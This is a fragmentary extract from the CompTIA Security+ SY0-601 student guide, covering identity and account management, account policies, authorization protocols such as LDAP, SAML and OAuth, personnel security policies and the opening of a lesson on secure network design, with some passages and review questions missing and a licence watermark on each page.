smart card authentication, and EAP/RADIUS. You should also be able to identify signs of
and risks from password attacks.
• Biometric technologies include fingerprint, face, iris, retina, voice, and vein with
efficacy determined by metric such as FAR, FRR, CER, speed, and accessibility.
• Vaults and USB keys/wireless fobs can provide better security for password
authentication.
• Kerberos for sign-in to local networks with support for smart card authentication.
• Assess risks from password attacks, especially when using legacy procotols (PAP and
CHAP) and where hashes are exposed to capture.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 8
Implementing Identity and Account
Management Controls
LESSON INTRODUCTION
As well as ensuring that only valid users and devices connect to managed networks
and devices, you must ensure that these subjects are authorized with only necessary
permissions and privileges to access and change resources. These tasks are
complicated by the need to manage identities across on-premises networks and
cloud services. Also, account security depends on effective organizational policies for
personnel and security training. You will often be involved in shaping and updating
these policies in line with best practice, as well as delivering security awareness
education and training programs.
Lesson Objectives
In this lesson, you will:
• Implement identity and account types.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
180 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 8A
Implement Identity and Account Types
Least privilege is the principle at the heart of most organizational security policies.
Identity and privilege management helps an organization to account for the actions of
both regular and administrative users. These systems are complicated by the presence
of default, shared, guest, and device account types that are difficult to associate with a
single identity.
Tokens
It is inconvenient for users to authenticate to each application they need to use. In a
single sign-on system, the user authenticates to an identity provider (IdP) and receives
a cryptographic token. The user can present that token to compatible applications as
proof they are authenticated, and receive authorizations from the application. With a
token, there is always a risk that a malicious actor will be able to capture and replay it.
The application protocol that makes use of tokens must be designed to resist this type
of attack.
Identity Providers
The identity provider is the service that provisions the user account and processes
authentication requests. On a private network, these identity directories and
application authorization services can be operated locally. The same site operates both
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 181
identity provision and application provision. Most networks now make use of third-
party cloud services, however. In this scenario, various protocols and frameworks are
available to implement federated identity management across web-based services.
This means that a user can create a digital identity with a one provider, but other sites
can use that identity to authorize use of an application.
Background Check
A background check determines that a person is who they say they are and are
not concealing criminal activity, bankruptcy, or connections that would make them
unsuitable or risky. Employees working in high confidentiality environments or with
access to high value transactions will obviously need to be subjected to a greater
degree of scrutiny. For some jobs, especially federal jobs requiring a security clearance,
background checks are mandatory. Some background checks are performed internally,
whereas others are done by an external third party.
Onboarding
Onboarding at the HR level is the process of welcoming a new employee to the
organization. The same sort of principle applies to taking on new suppliers or
contractors. Some of the same checks and processes are used in creating customer
and guest accounts. As part of onboarding, the IT and HR function will combine to
create an account for the user to access the computer system, assign the appropriate
privileges, and ensure the account credentials are known only to the valid user. These
functions must be integrated, to avoid creating accidental configuration vulnerabilities,
such as IT creating an account for an employee who is never actually hired. Some of
the other tasks and processes involved in onboarding include:
• Secure transmission of credentials—creating and sending an initial password
or issuing a smart card securely. The process needs protection against rogue
administrative staff. Newly created accounts with simple or default passwords are
an easily exploitable backdoor.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
182 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Separation of Duties
Separation of duties is a means of establishing checks and balances against the
possibility that critical systems or procedures can be compromised by insider threats.
Duties and responsibilities should be divided among individuals to prevent ethical
conflicts or abuse of powers.
• Shared authority means that no one user is able to action or enable changes on his
or her own authority. At least two people must authorize the change. One example
is separating responsibility for purchasing (ordering) from that of authorizing
payment. Another is that a request to create an account should be subject to
approval and oversight.
Separation of duties does not completely eliminate risk because there is still the chance of
collusion between two or more people. This, however, is a much less likely occurrence than
a single rogue employee.
Least Privilege
Least privilege means that a user is granted sufficient rights to perform his or her job
and no more. This mitigates risk if the account should be compromised and fall under
the control of a threat actor. Authorization creep refers to a situation where a user
acquires more and more rights, either directly or by being added to security groups
and roles. Least privilege should be ensured by closely analyzing business workflows to
assess what privileges are required and by performing regular account audits.
Job Rotation
Job rotation (or rotation of duties) means that no one person is permitted to remain
in the same job for an extended period. For example, managers may be moved to
different departments periodically, or employees may perform more than one job role,
switching between them throughout the year. Rotating individuals into and out of roles,
such as the firewall administrator or access control specialist, helps an organization
ensure that it is not tied too firmly to any one individual because vital institutional
knowledge is spread among trusted employees. Job rotation also helps prevent abuse
of power, reduces boredom, and enhances individuals' professional skills.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 183
Mandatory Vacation
Mandatory vacation means that employees are forced to take their vacation time,
during which someone else fulfills their duties. The typical mandatory vacation policy
requires that employees take at least one vacation a year in a full-week increment
so that they are away from work for at least five days in a row. During that time, the
corporate audit and security employees have time to investigate and discover any
discrepancies in employee activity.
Offboarding Policies
An exit interview (or offboarding) is the process of ensuring that an employee leaves a
company gracefully. Offboarding is also used when a project using contractors or third-
parties ends. In terms of security, there are several processes that must be completed:
• Account management—disable the user account and privileges. Ensure that
any information assets created or managed by the employee but owned by the
company are accessible (in terms of encryption keys or password-protected files).
• Company assets—retrieve mobile devices, keys, smart cards, USB media, and so
on. The employee will need to confirm (and in some cases prove) that they have not
retained copies of any information assets.
Guest Accounts
A guest account is a special type of shared account with no password. It allows
anonymous and unauthenticated access to a resource. The Windows OS creates guest
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
184 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
user and group accounts when installed, but the guest user account is disabled by
default. Guest accounts are also created when installing web services, as most web
servers allow unauthenticated access.
Administrator/Root Accounts
Administrative or privileged accounts are able to install and remove apps and device
drivers, change system-level settings, and access any object in the file system. Ideally,
only accounts that have been created and assigned specific permissions should have
this kind of elevated privilege. In practice, it is very hard to eliminate the presence
of default administrator accounts. A default account is one that is created by the
operating system or application when it is installed. The default account has every
permission available. In Windows, this account is called Administrator; in Linux, it is
called root. This type of account is also referred to as a superuser.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 185
On Windows networks, you also need to distinguish between local administrators and
domain administrators. The scope of a local administrator's privileges is restricted to the
machine hosting the account. Domain administrators can have privileges over any machine
joined to the domain.
Ubuntu Linux follows a similar approach; the root account is configured with no
password and locked, preventing login. An alternate superuser account is created
during setup. In other Linux distributions, a password is usually set at install time. This
password must be kept as securely as is possible.
It is a good idea to restrict the number of administrative accounts as much as possible. The
more accounts there are, the more likely it is that one of them will be compromised. On
the other hand, you do not want administrators to share accounts, as that compromises
accountability.
Users with administrative privileges must take the greatest care with credential
management. Privilege-access accounts must use strong passwords and ideally
multifactor authentication (MFA).
Service Accounts
Service accounts are used by scheduled processes and application server software, such
as databases. Windows has several default service account types. These do not accept
user interactive logons but can be used to run processes and background services:
• System—has the most privileges of any Windows account. The local system account
creates the host processes that start Windows before the user logs on. Any process
created using the system account will have full privileges over the local computer.
• Local Service—has the same privileges as the standard user account. It can only
access network resources as an anonymous user.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
186 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Network Service—has the same privileges as the standard user account but can
present the computer's account credentials when accessing network resources.
Configuring the credentials for a service running on Windows Server. This service is using the local
system account. This account has full local administrator privileges.
(Screenshot used with permission from Microsoft.)
Linux also uses the concept of service accounts to run non-interactive daemon
processes, such as web servers and databases. These accounts are usually created by
the server application package manager. Users can be prevented from logging into
these accounts (often by setting the password to an unknown value and denying shell
access).
If a named account is manually configured to run a service, the password for the
service account will effectively be shared by multiple administrators. Many operating
systems support automatic provisioning of credentials for service accounts, reducing
the risk of insider threat (techcommunity.microsoft.com/t5/ask-the-directory-services-
team/managed-service-accounts-understanding-implementing-best/ba-p/397009).
Be aware of the risk of using a personal account when a service account is appropriate. If
you use a personal account and the user changes the password or the account is disabled
for some reason, then the service will fail to run, which can cause serious problems with
business applications.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 187
• A user key pair is a means for a client to login to an SSH server. The server stores a
copy of the client's public key. The client uses the linked private key to generate an
authentication request and sends the request (not the private key) to the server.
The server can only validate this request if the correct public key is held for that
client.
SSH keys have often not been managed very well, leading to numerous security
breaches, most infamously the Sony hack (ssh.com/malware). There are vendor
solutions for SSH key management or you can configure servers and clients to use
public key infrastructure (PKI) and certificate authorities (CAs) to validate identities.
A third-party credential is one used by your company to manage a vendor service or
cloud app. As well as administrative logons, devices and services may be configured
with a password or cryptographic keys to access hosts via SSH or via an application
programming interface (API). Improper management of these secrets, such as
including them in code or scripts as plaintext, has been the cause of many breaches
(nakedsecurity.sophos.com/2019/03/25/thousands-of-coders-are-leaving-their-crown-
jewels-exposed-on-github).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
188 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Security credentials for an account on Amazon Web Services (AWS). The user can authenticate with a
password credential, or use an access key within a script. The access key is stored only on the user's
client device and cannot be retrieved via the console. It can be disabled or deleted, however.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 189
Review Activity:
Identity and Account Types
Answer the following questions:
2. What is the process of ensuring accounts are only created for valid users,
only assigned the appropriate privileges, and that the account credentials
are known only to the valid user?
3. What is the policy that states users should be allocated the minimum
sufficient permissions?
4. What is a SOP?
5. What type of organizational policies ensure that at least two people have
oversight of a critical business process?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
190 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 191
Topic 8B
Implement Account Policies
Account policies enforce the privilege management policy by setting what users can
and cannot do. This helps you to enforce strong credential policies and to detect and
manage risks from compromised accounts. Auditing and permission reviews can reveal
suspicious behavior and attempts to break through security.
Account Attributes
A user account is defined by a unique security identifier (SID), a name, and a
credential. Each account is associated with a profile. The profile can be defined with
custom identity attributes describing the user, such as a full name, email address,
contact number, department, and so on. The profile may support media, such as an
account picture.
As well as attributes, the profile will usually provide a location for storing user-
generated data files (a home folder). The profile can also store per-account settings for
software applications.
Access Policies
Each account can be assigned permissions over files and other network resources
and access policies or privileges over the use and configuration of network hosts.
These permissions might be assigned directly to the account or inherited through
membership of a security group or role. Access policies determine things like the right
to log on to a computer locally or via remote desktop, install software, change the
network configuration, and so on.
On a Windows Active Directory network, access policies can be configured via group
policy objects (GPOs). GPOs can be used to configure access rights for user/group/
role accounts. GPOs can be linked to network administrative boundaries in Active
Directory, such as sites, domains, and Organizational Units (OU).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
192 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring access policies and rights using Group Policy Objects in Windows Server 2016.
(Screenshot used with permission from Microsoft.)
• Password aging—forces the user to select a new password after a set number of
days.
• Password reuse and history—prevents the selection of a password that has been
used already. The history attribute sets how many previous passwords are blocked.
In this context, you should note that the most recent guidance issued by NIST (nvlpubs.
nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf) deprecates some of the
"traditional" elements of password policy:
• Complexity rules should not be enforced. The user should be allowed to choose
a password (or other memorized secret) of between 8 and 64 ASCII or UNICODE
characters, including spaces. The only restriction should be to block common
passwords, such as dictionary words, repetitive strings (like 12345678), strings
found in breach databases, and strings that repeat contextual information, such as
username or company name.
• Aging policies should not be enforced. Users should be able to select if and when
a password should be changed, though the system should be able to force a
password change if compromise is detected.
• Password hints should not be used. A password hint allows account recovery by
submitting responses to personal information, such as first school or pet name.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 193
Password reuse can also mean using a work password elsewhere (on a website, for
instance). This sort of behavior can only be policed by soft policies.
Account Restrictions
To make the task of compromising the user security system harder, account
restrictions can be used.
Location-Based Policies
A user or device can have a logical network location, identified by an IP address,
subnet, virtual LAN (VLAN), or organizational unit (OU). This can be used as an account
restriction mechanism. For example, a user account may be prevented from logging on
locally to servers within a restricted OU.
The geographical location of a user or device can also be calculated using a geolocation
mechanism. There are several types of geolocation:
• IP address—these can be associated with a map location to varying degrees of
accuracy based on information published by the registrant, including name, country,
region, and city. The registrant is usually the Internet service provider (ISP), so the
information you receive will provide an approximate location of a host based on the
ISP. If the ISP is one that serves a large or diverse geographical area, you will be less
likely to pinpoint the location of the host Internet service providers (ISPs). Software
libraries, such as GeoIP (maxmind.com/en/geoip-demo), facilitate querying this data.
Time-Based Restrictions
There are three main types of time-based policies:
• A time of day policy establishes authorized logon hours for an account.
• A time-based login policy establishes the maximum amount of time an account may
be logged in for.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
194 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• An impossible travel time/risky login policy tracks the location of login events over
time. If these do not meet a threshold, the account will be disabled. For example, a
user logs in to an account from a device in New York. A couple of hours later, a login
attempt is made from LA, but this is refused and an alert raised because it is not
feasible for the user to be in both locations.
Account Audits
Accounting and auditing processes are used to detect whether an account has been
compromised or is being misused. A security or audit log can be used to facilitate
detection of account misuse:
• Accounting for all actions that have been performed by users. Change and version
control systems depend on knowing when a file has been modified and by whom.
Accounting also provides for non-repudiation (that is, a user cannot deny that
they accessed or made a change to a file). The main problems are that auditing
successful access attempts can quickly consume a lot of disk space, and analyzing
the logs can be very time-consuming.
Account auditing also refers to more general change control. You need to take account
of changes to resources and users. Resources may be updated, archived, or have their
clearance level changed. Users may leave, arrive, or change jobs (roles). For example,
if a user has moved to a new job, old privileges may need to be revoked and new ones
granted. This process is referred to as recertification. Managing these sorts of changes
efficiently and securely requires effective standard operating procedures (SOPs) and
clear and timely communication between departments (between IT and HR, for instance).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 195
Account Permissions
Where many users, groups, roles, and resources are involved, managing account
permissions is complex and time-consuming. Improperly configured accounts can
have two different types of impact. On the one hand, setting privileges that are too
restrictive creates a large volume of support calls and reduces productivity. On the
other hand, granting too many privileges to users weakens the security of the system
and increases the risk of things like malware infection and data breach.
The phrase "authorization creep" refers to an employee who gains more and more access
privileges the longer they remain with the organization.
A user may be granted elevated privileges temporarily (escalation). In this case, some
system needs to be in place to ensure that the privileges are revoked at the end of the
agreed period.
A system of auditing needs to be put in place so that privileges are reviewed regularly.
Auditing would include monitoring group membership and reviewing access control
lists for each resource plus identifying and disabling unnecessary accounts.
Usage Audits
Usage auditing means configuring the security log to record key indicators and then
reviewing the logs for suspicious activity. Determining what to log is one of the most
considerable challenges a network administrator can face. For Active Directory,
Microsoft has published audit policy recommendations for baseline requirements and
networks with stronger security requirements (docs.microsoft.com/en-us/windows-
server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
196 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Process creation.
• Changes to system security and integrity (anti-virus, host firewall, and so on).
Configuring audit entries for a folder in Windows. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 197
Setting a property to disable an account. (Screenshot used with permission from Microsoft.)
An account lockout means that login is prevented for a period. This might be
done manually if a policy violation is detected, but there are several scenarios for
automatically applying a lockout:
• An incorrect account password is entered repeatedly.
• The account is set to expire. Setting an account expiration date means that an
account cannot be used beyond a certain date. This option is useful on accounts for
temporary and contract staff.
Configuring an account lockout policy. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
198 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Account Policies
Answer the following questions:
1. What container would you use if you want to apply a different security
policy to a subset of objects within the same domain?
3. What is the name of the policy that prevents users from choosing old
passwords again?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 199
Topic 8C
Implement Authorization Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
200 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring an access control entry for a folder. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 201
The effect of this command is to append write permission to the group context and
remove execute permission from the other context. By contrast, the command can also
be used to replace existing permissions. For example, the following command applies
the configuration shown in the first permission string:
chmod u=rwx,g=rx,o=rx home
In absolute mode, permissions are assigned using octal notation, where r=4, w=2, and
x=1. For example, the following command has the same effect:
chmod 755 home
Conditional Access
Conditional access is an example of rule-based access control. A conditional access
system monitors account or device behavior throughout a session. If certain
conditions are met, the account may be suspended or the user may be required to
re-authenticate, perhaps using a 2-step verification method. The User Account Control
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
202 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
(UAC) and sudo restrictions on privileged accounts are examples of conditional access.
The user is prompted for confirmation or authentication when requests that require
elevated privileges are made. Role-based rights management and ABAC systems can
apply a number of criteria to conditional access, including location-based policies
(docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview).
Directory Services
Directory services are the principal means of providing privilege management and
authorization on an enterprise network, storing information about users, computers,
security groups/roles, and services. A directory is like a database, where an object is
like a record, and things that you know about the object (attributes) are like fields. In
order for products from different vendors to be interoperable, most directories are
based on the same standard. The Lightweight Directory Access Protocol (LDAP) is a
protocol widely used to query and update X.500 format directories.
A distinguished name (DN) is a unique identifier for any given resource within an X.500-like
directory. A distinguished name is made up of attribute=value pairs, separated by commas.
The most specific attribute is listed first, and successive attributes become progressively
broader. This most specific attribute is also referred to as the relative distinguished name,
as it uniquely identifies the object within the context of successive (parent) attribute values.
Browsing objects in an Active Directory LDAP schema. (Screenshot used with permission from Microsoft.)
The types of attributes, what information they contain, and the way object types are
defined through attributes (some of which may be required, and some optional) is
described by the directory schema. Some of the attributes commonly used include
common name (CN), organizational unit (OU), organization (O), country (C), and domain
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 203
component (DC). For example, the distinguished name of a web server operated by
Widget in the UK might be:
CN=WIDGETWEB, OU=Marketing, O=Widget, C=UK,
DC=widget, DC=foo
Federation and Attestation
An on-premises network can use technologies such as LDAP and Keberos, very often
implemented as a Windows Active Directory network, because the administration
of accounts and devices can be centralized. Expanding this type of network to share
resources with business partners or use services in public clouds means implementing
some type of federation technology.
Federation
Federation is the notion that a network needs to be accessible to more than just a
well-defined group of employees. In business, a company might need to make parts of
its network open to partners, suppliers, and customers. The company can manage its
employee accounts easily enough. Managing accounts for each supplier or customer
internally may be more difficult. Federation means that the company trusts accounts
created and managed by a different network. As another example, in the consumer
world, a user might want to use both Google Apps and Twitter. If Google and Twitter
establish a federated network for the purpose of authentication and authorization,
then the user can log on to Twitter using his or her Google credentials or vice versa.
2. The principal authenticates with the identity provider and obtains an attestation
of identity, in the form of some sort of token or document signed by the IdP.
3. The principal presents the attestation to the service provider. The SP can validate
that the IdP has signed the attestation because of its trust relationship with
the IdP.
4. The service provider can now connect the authenticated principal to its own
accounts database. It may be able to query attributes of the user account profile
held by the IdP, if the principal has authorized this type of access.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
204 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 205
IssueInstant="2020-01-01T20:00:10Z "
Destination="https://sp.foo/saml/acs"
InResponseTo="100".
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
<samlp:Status>...(success)...</samlp:Status.
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="2000"
Version="2.0"
IssueInstant="2020-01-01T20:00:09Z">
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
<saml:Subject>...
<saml:Conditions>...
<saml:AudienceRestriction>...
<saml:AuthnStatement>...
<saml:AttributeStatement>
<saml:Attribute>...
<saml:Attribute>...
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
OAuth
Authentication and authorization for a RESTful API is often implemented using the
Open Authorization (OAuth) protocol. OAuth is designed to facilitate sharing
of information (resources) within a user profile between sites. The user creates a
password-protected account at an identity provider (IdP). The user can use that
account to log on to an OAuth consumer site without giving the password to the
consumer site. A user (resource owner) can grant a client an authorization to access
some part of their account. A client in this context is an app or consumer site.
The user account is hosted by one or more resource servers. A resource server is
also called an API server because it hosts the functions that allow clients (consumer
sites and mobile apps) to access user attributes. Authorization requests are processed
by an authorization server. A single authorization server can manage multiple
resource servers; equally the resource and authorization server could be the same
server instance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
206 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
The client app or service must be registered with the authorization server. As part of
this process, the client registers a redirect URL, which is the endpoint that will process
authorization tokens. Registration also provides the client with an ID and a secret.
The ID can be publicly exposed, but the secret must be kept confidential between the
client and the authorization server. When the client application requests authorization,
the user approves the authorization server to grant the request using an appropriate
method. OAuth supports several grant types—or flows—for use in different contexts,
such as server to server or mobile app to server. Depending on the flow type, the
client will end up with an access token validated by the authorization server. The client
presents the access token to the resource server, which then accepts the request for
the resource if the token is valid.
OAuth uses the JavaScript object notation (JSON) web token (JWT) format for claims
data. JWTs can easily be passed as Base64-encoded strings in URLs and HTTP headers
and can be digitally signed for authentication and integrity.
Note that OpenID can also refer to an earlier protocol developed between 2005 and 2007.
This implemented a similar framework and underpinned early "sign on with" functionality,
but is now regarded as obsolete. OpenID uses XML-format messaging and supports only
web applications and not mobile apps.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 207
Review Activity:
Authorization Solutions
Answer the following questions:
3. In a rule-based access control model, can a subject negotiate with the data
owner for access privileges? Why or why not?
6. You are working on a cloud application that allows users to log on with
social media accounts over the web and from a mobile application. Which
protocols would you consider and which would you choose as most
suitable?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
208 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 8D
Explain the Importance
of Personnel Policies
As well as implementing technical controls for identity and account management, you
will need to make sure that your personnel follow appropriate security procedures and
policies. The human element can represent a significant attack surface, especially when
social engineering attacks are involved. As a security professional, you will work with
a human resources (HR) department to assist with the formulation of policies and the
development and delivery of security awareness and training programs.
Conduct Policies
Operational policies include privilege/credential management, data handling, and
incident response. Other important security policies include those governing employee
conduct and respect for privacy.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 209
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
210 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Site security procedures, restrictions, and advice, including safety drills, escorting
guests, use of secure areas, and use of personal devices.
• Password and account management plus security features of PCs and mobile
devices.
• Secure use of software such as browsers and email clients plus appropriate use of
Internet access, including social networking sites.
Phishing Campaigns
A phishing campaign training event means sending simulated phishing messages to
users. Users that respond to the messages can be targeted for follow-up training.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 211
and the participant must use analysis and appropriate tools to discover it. Capturing
the flag allows the user to progress to the next level and start a new challenge. Once
the participant has passed the introductory levels, they will join a team and participate
in a competitive event, where there are multiple flags embedded in the environment
and capturing them wins points for the participant and for their team.
CBT might use video game elements to improve engagement. For example, students
might win badges and level-up bonuses such as skills or digitized loot to improve
their in-game avatar. Simulations might be presented so that the student chooses
encounters from a map and engages with a simulation environment in a first person
shooter type of 3D world.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
212 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Importance of Personnel Policies
Answer the following questions:
1. Your company has been the victim of several successful phishing attempts
over the past year. Attackers managed to steal credentials from these
attacks and used them to compromise key systems. What vulnerability
contributed to the success of these social engineers, and why?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 213
Lesson 8
Summary
You should be able to apply organizational and technical policies and training/
awareness programs that reduce the risk of insider threat and account compromise.
You should also be able to implement discretionary or rule-based access control
as appropriate and use protocols to communicate authorizations across federated
identity networks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 9
Implementing Secure Network Designs
LESSON INTRODUCTION
Managing user authentication and authorization is only one part of building secure
information technology services. The network infrastructure must also be designed
to run services with the properties of confidentiality, integrity, and availability.
While design might not be a direct responsibility for you at this stage in your career,
you should understand the factors that underpin design decisions, and be able to
implement a design by deploying routers, switches, access points, and load balancers
in secure configurations.
Lesson Objectives
In this lesson, you will:
• Implement secure network designs.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
216 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 9A
Implement Secure Network Designs
While you may not be responsible for network design in your current role, it is
important that you understand the vulnerabilities that can arise from weaknesses in
network architecture, and some of the general principles for ensuring a well-designed
network. This will help you to contribute to projects to improve resiliency and to make
recommendations for improvements.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 217
You can see that this type of business flow will involve systems in different places in
the network. Placing the client, the mailbox, and the mail transfer server all within the
same logical network "segment" will introduce many vulnerabilities. Understanding and
controlling how data flows between these locations is a key part of secure and effective
network design.
Network Appliances
A number of network appliances are involved in provisioning a network architecture:
• Switches—forward frames between nodes in a cabled network. Switches work at
layer 2 of the OSI model and make forwarding decisions based on the hardware
or Media Access Control (MAC) address of attached nodes. Switches can establish
network segments that either map directly to the underlying cabling or to logical
segments, created in the switch configuration as virtual LANs (VLANs).
• Domain Name System (DNS) servers—host name records and perform name
resolution to allow applications and users to address hosts and services using fully
qualified domain names (FQDNs) rather than IP addresses. DNS works at layer 7
of the OSI model. Name resolution is a critical service in network design. Abuse of
name resolution is a common attack vector.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
218 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Appliances, protocols, and addressing functions within the OSI network layer reference model.
(Images © 123RF.com.)
• Layer 3 forwarding, or routing, occurs between both logically and physically defined
networks. A single network divided into multiple logical broadcast domains is said to
be subnetted. Multiple networks joined by routers form an internetwork. At layer 3,
nodes are identified by an Internet Protocol (IP) address.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 219
ARP in action—An ARP broadcast is used when there is no MAC:IP mapping in the cache and is
received by all hosts on the same network, but only the host with the requested
IP should reply. (Images © 123RF.com.)
Routing Protocols
Information about how to reach individual networks within an internetwork is
processed by routers, which store the data in a routing table. A route to a network can
be configured statically, but most networks use routing protocols to transmit new
and updated routes between routers. Some common routing protocols include Border
Gateway Protocol (BGP), Open Shortest Path First (OSPF), Enhanced Interior
Gateway Routing Protocol (EIGRP), and Routing Information Protocol (RIP).
Network Segmentation
A network segment is one where all the hosts attached to the segment can use local
(layer 2) forwarding to communicate freely with one another. The hosts are said to be
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
220 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
within the same broadcast domain. Segregation means that the hosts in one segment
are restricted in the way they communicate with hosts in other segments. They might
only be able to communicate over certain network ports, for instance.
"Freely" means that no network appliances or policies are preventing communications. Each
host may be configured with access rules or host firewalls or other security tools to prevent
access, but the "view from the network" is that hosts in the same segment are all free to
attempt to communicate.
Hosts are trusted in the sense that they are under your administrative control and subject to
the security mechanisms (anti-virus software, user rights, software updating, and so on) that
you have set up to defend the network.
A large network may need more zones to represent different host groups, such as
separating wireless stations from desktop workstations, and putting servers in their
own groups. Cisco's enterprise security architecture uses core and distribution layers
to interconnect access blocks, with each access block representing a different zone and
business function.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 221
Demilitarized Zones
The most important distinction between different security zones is whether a host
is Internet-facing. An Internet-facing host accepts inbound connections from and
makes connections to hosts on the Internet. Internet-facing hosts are placed in one
or more demilitarized zones (DMZs). A DMZ is also referred to as a perimeter or
edge network. The basic principle of a DMZ is that traffic cannot pass directly through
it. A DMZ enables external clients to access data on private systems, such as web
servers, without compromising the security of the internal network as a whole. If
